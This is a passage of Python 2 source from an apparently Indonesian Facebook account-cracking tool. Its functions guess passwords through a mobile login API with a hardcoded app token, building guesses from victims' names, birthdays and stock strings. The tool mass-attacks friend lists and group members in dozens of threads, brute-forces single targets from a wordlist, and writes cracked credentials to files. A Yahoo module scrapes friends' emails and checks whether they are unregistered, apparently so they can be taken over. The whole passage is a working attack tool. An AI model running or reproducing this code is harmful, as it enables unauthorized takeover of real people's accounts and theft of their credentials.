print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz2 = a['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz3 = a['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
lahir = a['birthday']
pz4 = lahir.replace('/', '')
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
lahirs = a['birthday']
gaz = lahirs.replace('/', '')
pz5 = a['first_name'] + gaz
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz5
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz5
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz6 = 'kontol123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz6
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz6
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
pz7 = 'sayang123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
y = json.load(data)
if 'access_token' in y:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz7
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
elif 'www.facebook.com' in y['error_msg']:
print '\x1b[1;91m[+] \x1b[1;92mFound'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName\x1b[1;97m : ' + a['name']
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz6
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
else:
print '\x1b[1;91m[!] Sorry, failed to open the target password :('
print '\x1b[1;91m[!] try it another way.'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
except KeyError:
print '\x1b[1;91m[!] Terget not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
def crack():
global idlist, passw, file
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m')
passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m')
try:
file = open(idlist, 'r')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
for x in range(40):
zedd = threading.Thread(target = scrak, args = ())
zedd.start()
threads.append(zedd)
for zedd in threads:
zedd.join()
except IOError:
print '\x1b[1;91m[!] File not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
menu_hack()
def scrak():
global up, back
try:
os.mkdir('out')
except OSError:
pass
try:
buka = open(idlist, 'r')
up = buka.read().split()
while file:
username = file.readline().strip()
url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
data = urllib.urlopen(url)
mpsh = json.load(data)
if back == len(up):
break
if 'access_token' in mpsh:
bisa = open('out/mbf_ok.txt', 'w')
bisa.write(username + '|' + passw + '\n')
bisa.close()
x = requests.get('https://graph.facebook.com/' + username + '?access_token=' + mpsh['access_token'])
z = json.loads(x.text)
berhasil.append('\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + username + '|' + passw + ' =>' + z['name'])
elif 'www.facebook.com' in mpsh['error_msg']:
cek = open('out/mbf_cp.txt', 'w')
cek.write(username + '|' + passw + '\n')
cek.close()
cekpoint.append('\x1b[1;97m[ \x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m ] ' + username + '|' + passw)
else:
gagal.append(username)
back += 1
sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint)))
sys.stdout.flush()
except IOError:
print '\n\x1b[1;91m[!] Sleep'
time.sleep(1)
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[\xe2\x9c\x96] No connection'
def hasil():
print
print 42 * '\x1b[1;97m\xe2\x95\x90'
for b in berhasil:
print b
for c in cekpoint:
print c
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[31m[x] Failed \x1b[1;97m--> ' + str(len(gagal))
keluar()
def super():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m Crack with list friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Crack from friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Crack from member group'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
pilih_super()
def pilih_super():
peak = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if peak == '':
print '\x1b[1;91m[!] Wrong input'
pilih_super()
elif peak == '1':
os.system('reset')
print logo
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend id \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif peak == '2':
os.system('reset')
print logo
idt = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: \x1b[1;97m')
try:
jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket)
op = json.loads(jok.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name']
except KeyError:
print '\x1b[1;91m[!] Friend not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
super()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all id from friend \x1b[1;97m...')
r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak == '3':
os.system('reset')
print logo
idg = raw_input('\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m ')
try:
r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
asw = json.loads(r.text)
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m ' + asw['name']
except KeyError:
print '\x1b[1;91m[!] Group not found'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
super()
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member id \x1b[1;97m...')
re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket)
s = json.loads(re.text)
for p in s['data']:
id.append(p['id'])
elif peak == '0':
menu_hack()
else:
print '\x1b[1;91m[!] Wrong input'
pilih_super()
print '\x1b[1;91m[+] \x1b[1;92mTotal ID \x1b[1;91m: \x1b[1;97m' + str(len(id))
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
titik = [
'. ',
'.. ',
'... ']
for o in titik:
print '\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o,
sys.stdout.flush()
time.sleep(1)
print
print 42 * '\x1b[1;97m\xe2\x95\x90'
def main(arg):
user = arg
try:
os.mkdir('out')
except OSError:
pass
try:
a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
b = json.loads(a.text)
pass1 = b['first_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass1 + ' =>' + z['name']
oks.append(user + pass1)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass1 + '\n')
cek.close()
cekpoint.append(user + pass1)
else:
pass2 = b['first_name'] + '12345'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass2 + ' =>' + z['name']
oks.append(user + pass2)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass2 + '\n')
cek.close()
cekpoint.append(user + pass2)
else:
pass3 = b['last_name'] + '123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass3 + ' =>' + z['name']
oks.append(user + pass3)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass3 + '\n')
cek.close()
cekpoint.append(user + pass3)
else:
lahir = b['birthday']
pass4 = lahir.replace('/', '')
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass4 + ' =>' + z['name']
oks.append(user + pass4)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass4 + '\n')
cek.close()
cekpoint.append(user + pass4)
else:
pass5 = 'sayang123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass5 + ' =>' + z['name']
oks.append(user + pass5)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass5 + '\n')
cek.close()
cekpoint.append(user + pass5)
else:
pass6 = 'kontol123'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass6 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass6 + ' =>' + z['name']
oks.append(user + pass6)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass6 + '\n')
cek.close()
cekpoint.append(user + pass6)
else:
a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
b = json.loads(a.text)
pass7 = b['first_name'] + '321'
data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass7 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
q = json.load(data)
if 'access_token' in q:
x = requests.get('https://graph.facebook.com/' + user + '?access_token=' + q['access_token'])
z = json.loads(x.text)
print '\x1b[1;97m[ \x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m ] ' + user + '|' + pass7 + ' =>' + z['name']
oks.append(user + pass7)
elif 'www.facebook.com' in q['error_msg']:
cek = open('out/super_cp.txt', 'a')
cek.write(user + '|' + pass7 + '\n')
cek.close()
cekpoint.append(user + pass7)
except:
pass
p = ThreadPool(30)
p.map(main, id)
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....'
print '\x1b[1;91m[+] \x1b[1;92mTotal OK/CP \x1b[1;91m: \x1b[1;92m' + str(len(oks)) + '\x1b[1;97m/\x1b[1;93m' + str(len(cekpoint))
print '\x1b[1;91m[+] \x1b[1;92mCP File saved \x1b[1;91m: \x1b[1;97mout/super_cp.txt'
raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]')
super()
def brute():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
try:
email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ')
passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m')
total = open(passw, 'r')
total = total.readlines()
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[+] \x1b[1;92mTotal\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword'
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
sandi = open(passw, 'r')
for pw in sandi:
try:
pw = pw.replace('\n', '')
sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m: \x1b[1;97m' + pw)
sys.stdout.flush()
data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
mpsh = json.loads(data.text)
if 'access_token' in mpsh:
dapat = open('Brute.txt', 'w')
dapat.write(email + ' | ' + pw + '\n')
dapat.close()
print '\n\x1b[1;91m[+] \x1b[1;92mFound'
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
keluar()
elif 'www.facebook.com' in mpsh['error_msg']:
ceks = open('Brutecekpoint.txt', 'w')
ceks.write(email + ' | ' + pw + '\n')
ceks.close()
print '\n\x1b[1;91m[+] \x1b[1;92mFound'
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[!] \x1b[1;93mAccount Checkpoint'
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email
print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw
keluar()
continue
except requests.exceptions.ConnectionError:
print '\x1b[1;91m[!] Connection Error'
time.sleep(1)
continue
except IOError:
print '\x1b[1;91m[!] File not found'
tanyaw()
def tanyaw():
why = raw_input('\x1b[1;91m[?] \x1b[1;92mCreate wordlist ? \x1b[1;92m[y/n]\x1b[1;91m:\x1b[1;97m ')
if why == '':
print '\x1b[1;91m[!] Wrong'
tanyaw()
elif why == 'y':
wordlist()
elif why == 'Y':
wordlist()
elif why == 'n':
menu_hack()
elif why == 'N':
menu_hack()
else:
print '\x1b[1;91m[!] Wrong'
tanyaw()
def menu_yahoo():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
os.system('reset')
print logo
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m1.\x1b[1;97m With list friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m2.\x1b[1;97m Clone from friend'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m3.\x1b[1;97m Clone from member group'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;92m4.\x1b[1;97m Using file'
print '\x1b[1;97m\xe2\x95\x91--\x1b[1;91m> \x1b[1;91m0.\x1b[1;97m Back'
print '\xe2\x95\x91'
yahoo_pilih()
def yahoo_pilih():
go = raw_input('\x1b[1;97m\xe2\x95\x9a\xe2\x95\x90\x1b[1;91mD \x1b[1;97m')
if go == '':
print '\x1b[1;91m[!] Wrong'
yahoo_pilih()
elif go == '1':
yahoofriends()
elif go == '2':
yahoofromfriends()
elif go == '3':
yahoomember()
elif go == '4':
yahoolist()
elif go == '0':
menu_hack()
else:
print '\x1b[1;91m[!] Wrong'
yahoo_pilih()
def yahoofriends():
global toket
os.system('reset')
try:
toket = open('login.txt', 'r').read()
except IOError:
print '\x1b[1;91m[!] Token not found'
os.system('rm -rf login.txt')
time.sleep(1)
login()
try:
os.mkdir('out')
except OSError:
pass
os.system('reset')
print logo
mpsh = []
jml = 0
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGetting email friend \x1b[1;97m...')
teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
kimak = json.loads(teman.text)
save = open('out/MailVuln.txt', 'w')
jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mStart \x1b[1;97m...')
print 42 * '\x1b[1;97m\xe2\x95\x90'
for w in kimak['data']:
jml += 1
mpsh.append(jml)
id = w['id']
nama = w['name']
links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
z = json.loads(links.text)
try:
mail = z['email']
yahoo = re.compile('@.*')
otw = yahoo.search(mail).group()
if 'yahoo.com' in otw:
br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com')
br._factory.is_html = True
br.select_form(nr = 0)
br['username'] = mail
klik = br.submit().read()
jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*')
try:
pek = jok.search(klik).group()
except:
continue
if '"messages.ERROR_INVALID_USERNAME">' in pek:
save.write(mail + '\n')
print '\x1b[1;97m[ \x1b[1;92mVULN\xe2\x9c\x93\x1b[1;97m ] \x1b[1;92m' + mail + ' \x1b[1;97m=>' + nama
berhasil.append(mail)
continue
except KeyError:
continue
print 42 * '\x1b[1;97m\xe2\x95\x90'
print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDone \x1b[1;97m....'
print '\x1b[1;91m[+] \x1b[1;92mTotal \x1b[1;91m: \x1b[1;97m' + str(len(berhasil))
